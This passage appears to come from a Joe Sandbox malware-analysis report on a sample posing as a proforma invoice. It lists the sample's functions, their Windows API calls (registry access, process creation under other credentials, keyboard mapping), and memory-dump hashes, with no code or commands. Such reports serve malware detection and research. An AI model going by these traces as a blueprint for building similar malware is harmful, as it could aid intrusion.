__freea.LIBCMT ref: 004563E5

Part of subcall function 00453820: RtlAllocateHeap.NTDLL(00000000,?,004F1444,?,0043FDF5,?,?,0042A976,00000010,004F1440,004213FC,?,004213C6,?,00421129), ref: 00453852

__freea.LIBCMT ref: 004563EE
__freea.LIBCMT ref: 00456413

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 9529f64dfbe5dabeee30fadf127e8547f8bc879d6560ae43f0470961db2652d6
Instruction ID: 609a4fa9ac82a154296dc9237437ce9f36fc3cad8341b55943872cdd9d82cdb4
Opcode Fuzzy Hash: 9529f64dfbe5dabeee30fadf127e8547f8bc879d6560ae43f0470961db2652d6
Instruction Fuzzy Hash: FA512772600216ABDB259F64CC81EBF77A9EF44752F56422AFC05D7242EB38DC48C668

Function 004ABBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Part of subcall function 004AC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AB6AE,?,?), ref: 004AC9B5
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004AC9F1
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA68
Part of subcall function 004AC998: _wcslen.LIBCMT ref: 004ACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004ABCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004ABD25
RegCloseKey.ADVAPI32(00000000), ref: 004ABD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 004ABD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004ABDF3
RegCloseKey.ADVAPI32(?), ref: 004ABDFF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 45a0955006cc77421239658ce0cca38c01fe2501f8983d772184276e5b041b15
Instruction ID: 3e1da3b602baeb096b8a096becfc9b490c217cf9be8507669ba474de1be074da
Opcode Fuzzy Hash: 45a0955006cc77421239658ce0cca38c01fe2501f8983d772184276e5b041b15
Instruction Fuzzy Hash: 5F81BE70208241AFD714DF25C881E2BBBE5FF85308F54896EF4594B2A2CB35ED45CB96

Function 0047F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0047F7B9
SysAllocString.OLEAUT32(00000001), ref: 0047F860
VariantCopy.OLEAUT32(0047FA64,00000000), ref: 0047F889
VariantClear.OLEAUT32(0047FA64), ref: 0047F8AD
VariantCopy.OLEAUT32(0047FA64,00000000), ref: 0047F8B1
VariantClear.OLEAUT32(?), ref: 0047F8BB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 0edc39368372805a216bb51bfb148b6a52b00fb77a6c411c7d0ccf4bcfd87d8f
Instruction ID: d95c8da53cece258f558205d4a36e978a6d0fdaa50631603717000ccf66c0058
Opcode Fuzzy Hash: 0edc39368372805a216bb51bfb148b6a52b00fb77a6c411c7d0ccf4bcfd87d8f
Instruction Fuzzy Hash: 4A51D9B1600310BACF20AB66D4957A9B3A4EF45314F14D46BE909EF291D7788C45C7AF

Function 0049910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00427620: _wcslen.LIBCMT ref: 00427625

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 004994E5
_wcslen.LIBCMT ref: 00499506
_wcslen.LIBCMT ref: 0049952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00499585

Strings

X, xrefs: 00499412

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 580dbf1860940f7a015adab916f193e758920919983f105d986f0281f3fdac26
Instruction ID: db7880caed7ca69d2a39202bcc728cedaa3070b8a80573d26fee2f43182ba300
Opcode Fuzzy Hash: 580dbf1860940f7a015adab916f193e758920919983f105d986f0281f3fdac26
Instruction Fuzzy Hash: 21E1B4316043109FDB24DF25D481A6AB7E4BF85318F04896EF8899B392DB39DD05CB9A

Function 0043920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

BeginPaint.USER32(?,?,?), ref: 00439241
GetWindowRect.USER32(?,?), ref: 004392A5
ScreenToClient.USER32(?,?), ref: 004392C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 004392D3
EndPaint.USER32(?,?,?,?,?), ref: 00439321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 004771EA

Part of subcall function 00439339: BeginPath.GDI32(00000000), ref: 00439357

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: bd3b406c11ed6788bc805e61fca317a4bd77c258fdada7f4f0cbaab4919037ae
Instruction ID: a052bafbaabb3243e4b2ca14dab2ae75c95ecfe0de31980b51631c2ab50d17ce
Opcode Fuzzy Hash: bd3b406c11ed6788bc805e61fca317a4bd77c258fdada7f4f0cbaab4919037ae
Instruction Fuzzy Hash: 4B41BC70104200AFD720DF25C8C4FBB7BA8EB49324F04066AF9A4872B1C7B59C45CBAA

Function 004907EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0049080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00490847
EnterCriticalSection.KERNEL32(?), ref: 00490863
LeaveCriticalSection.KERNEL32(?), ref: 004908DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 004908F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00490921

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: be3ca02a42f0f2ac331306bd1a1855c5c4b7c85e741b88cc6be735f273ed4a61
Instruction ID: 58c92ad0d55b50098961998481d6646f72c02c1413894c84e84d3dab9ee7b2c5
Opcode Fuzzy Hash: be3ca02a42f0f2ac331306bd1a1855c5c4b7c85e741b88cc6be735f273ed4a61
Instruction Fuzzy Hash: 7E415871A00205EFDF14AF55DCC5A6ABB78FF04304F1440BAED00AA296DB34DE64DBA8

Function 004B81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0047F3AB,00000000,?,?,00000000,?,0047682C,00000004,00000000,00000000), ref: 004B824C
EnableWindow.USER32(00000000,00000000), ref: 004B8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 004B82D1
ShowWindow.USER32(00000000,00000004), ref: 004B82E5
EnableWindow.USER32(00000000,00000001), ref: 004B830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 004B832F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 1c2dda91cbecc5ce709a4c3bf2a7df5c759171c2b1326be84cb9ae823227aa57
Instruction ID: 963522e95a701a7e52bbb12b9393839bb6cd1db03a16ee78f48389ca045d3f4e
Opcode Fuzzy Hash: 1c2dda91cbecc5ce709a4c3bf2a7df5c759171c2b1326be84cb9ae823227aa57
Instruction Fuzzy Hash: 7C41A034601644EFDB15CF15C899FE57BE4FB0A714F1812BEE9084B272CB76A851CB68

Function 00484C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00484C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00484CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00484CEA
_wcslen.LIBCMT ref: 00484D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00484D10
_wcsstr.LIBVCRUNTIME ref: 00484D1A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: d1b70d6b3e4e8766ae58491da135512d0c38b6c39b291685de6c5d09f5f917fe
Instruction ID: 98730f1a4ca9ca88a19cfc9a3fb867d3a9c3ec0d231a17c56c8f42c5e871542d
Opcode Fuzzy Hash: d1b70d6b3e4e8766ae58491da135512d0c38b6c39b291685de6c5d09f5f917fe
Instruction Fuzzy Hash: 7F21F8726041017BEB156B369C45E7F7BDCDF89754F10443FF805CA291EA69DC0193A4

Function 0049581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00423AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00423A97,?,?,00422E7F,?,?,?,00000000), ref: 00423AC2

_wcslen.LIBCMT ref: 0049587B
CoInitialize.OLE32(00000000), ref: 00495995
CoCreateInstance.OLE32(004BFCF8,00000000,00000001,004BFB68,?), ref: 004959AE
CoUninitialize.OLE32 ref: 004959CC

Strings

.lnk, xrefs: 00495876, 004958C1, 00495985

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: ff291c859e537f717812bbb50c97d66ae0ff18e52e1403d21e9b913202168f4f
Instruction ID: adfb62f3290bfc1556189cad8d360cfa6b53cfdaf28da078ac44933ff0ced3d6
Opcode Fuzzy Hash: ff291c859e537f717812bbb50c97d66ae0ff18e52e1403d21e9b913202168f4f
Instruction Fuzzy Hash: 18D165716046119FCB04DF25C480A2ABBE1FF89718F24486EF8899B361D739EC45CB9A

Function 0048175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00480FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00480FCA
Part of subcall function 00480FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00480FD6
Part of subcall function 00480FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00480FE5
Part of subcall function 00480FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00480FEC
Part of subcall function 00480FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00481002

GetLengthSid.ADVAPI32(?,00000000,00481335), ref: 004817AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004817BA
HeapAlloc.KERNEL32(00000000), ref: 004817C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 004817DA
GetProcessHeap.KERNEL32(00000000,00000000,00481335), ref: 004817EE
HeapFree.KERNEL32(00000000), ref: 004817F5

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 37cbae08b2ffe0f57851e00ccb0d7f2cbdcddb1b37132176c1d0bb22d86236a1
Instruction ID: 4c9a22716ad8f7b430c5a2f1327a400b68b454b97824dfed704e6d5cf0a019f9
Opcode Fuzzy Hash: 37cbae08b2ffe0f57851e00ccb0d7f2cbdcddb1b37132176c1d0bb22d86236a1
Instruction Fuzzy Hash: 0511AF71900205EFDB10AFA8DCC9BAFBBADEB41355F10492FF441A7220C739A945CB68

Function 004814CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 004814FF
OpenProcessToken.ADVAPI32(00000000), ref: 00481506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00481515
CloseHandle.KERNEL32(00000004), ref: 00481520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0048154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00481563

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 8d88a2c664c7f4472ff8c86a6f7ff9c77e37bc6d690ddbf5fd0df63053d32c3a
Instruction ID: 6ec0156a5150b0eaf5dbbba1108090e6a021894f8180584caaeaa4b279d3cc81
Opcode Fuzzy Hash: 8d88a2c664c7f4472ff8c86a6f7ff9c77e37bc6d690ddbf5fd0df63053d32c3a
Instruction Fuzzy Hash: 99115972504209ABDF119F98DE89FDE7BADEF48744F044126FA05A2160C3758E61DB64

Function 00443382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00443379,00442FE5), ref: 00443390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0044339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004433B7
SetLastError.KERNEL32(00000000,?,00443379,00442FE5), ref: 00443409

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1f5251aa52688d34eace88bea1e00a3135195cdef55b0d996821bb89d51eb76d
Instruction ID: dd18933cf4287b7b00d4be7af2c0977fee4b0049e3697695e8be95994c39331c
Opcode Fuzzy Hash: 1f5251aa52688d34eace88bea1e00a3135195cdef55b0d996821bb89d51eb76d
Instruction Fuzzy Hash: 5C01B533609712AFB6292FB56CC56572A94EB05F7B720023FF820852F3EF194E12554C

Function 00452D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00455686,00463CD6,?,00000000,?,00455B6A,?,?,?,?,?,0044E6D1,?,004E8A48), ref: 00452D78
_free.LIBCMT ref: 00452DAB
_free.LIBCMT ref: 00452DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0044E6D1,?,004E8A48,00000010,00424F4A,?,?,00000000,00463CD6), ref: 00452DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0044E6D1,?,004E8A48,00000010,00424F4A,?,?,00000000,00463CD6), ref: 00452DEC
_abort.LIBCMT ref: 00452DF2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 764594d53dc65ec72285fa3b04111a4fe4225b10fc3c7e614303559827b190e5
Instruction ID: 75ba0f4d5ba33e73fb9a2ab37e386690081dba7e2fdbe2cac518c3f97916d71a
Opcode Fuzzy Hash: 764594d53dc65ec72285fa3b04111a4fe4225b10fc3c7e614303559827b190e5
Instruction Fuzzy Hash: 19F0A93254490027C25227356E46E5B26656FC37ABF25452FFC2496293DFAC880E416D

Function 004B8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00439639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00439693
Part of subcall function 00439639: SelectObject.GDI32(?,00000000), ref: 004396A2
Part of subcall function 00439639: BeginPath.GDI32(?), ref: 004396B9
Part of subcall function 00439639: SelectObject.GDI32(?,00000000), ref: 004396E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 004B8A4E
LineTo.GDI32(?,00000003,00000000), ref: 004B8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 004B8A70
LineTo.GDI32(?,00000000,00000003), ref: 004B8A80
EndPath.GDI32(?), ref: 004B8A90
StrokePath.GDI32(?), ref: 004B8AA0

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 89c87c682785509f4b5c63dd9a876a6b279aacb30d20a9af0cb896223f30c3c8
Instruction ID: 023927b94f1a1aa63a5d690f656a135f3f775b83a35901e6f78d69a93d31bde7
Opcode Fuzzy Hash: 89c87c682785509f4b5c63dd9a876a6b279aacb30d20a9af0cb896223f30c3c8
Instruction Fuzzy Hash: 63110576400109FFEB129F94DC88EAA7F6CEB08354F008126BA199A1A1C7719D55DFA4

Function 004851FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00485218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00485229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00485230
ReleaseDC.USER32(00000000,00000000), ref: 00485238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0048524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00485261

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1954bfa46dface1e3abe3a67b4671f5faf8fe0b32790f7ee80cd116df5c8e259
Instruction ID: adc0572544aa26c001e2c895ac7b5876269b25c3ee56db803b7af235ecbaecb3
Opcode Fuzzy Hash: 1954bfa46dface1e3abe3a67b4671f5faf8fe0b32790f7ee80cd116df5c8e259
Instruction Fuzzy Hash: 14014475E00714BBEB106BA99C89E5EBFB8EB44751F044566FA04A7281DA709801CFA4

Function 00421BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00421BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00421BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00421C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00421C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00421C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00421C22

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
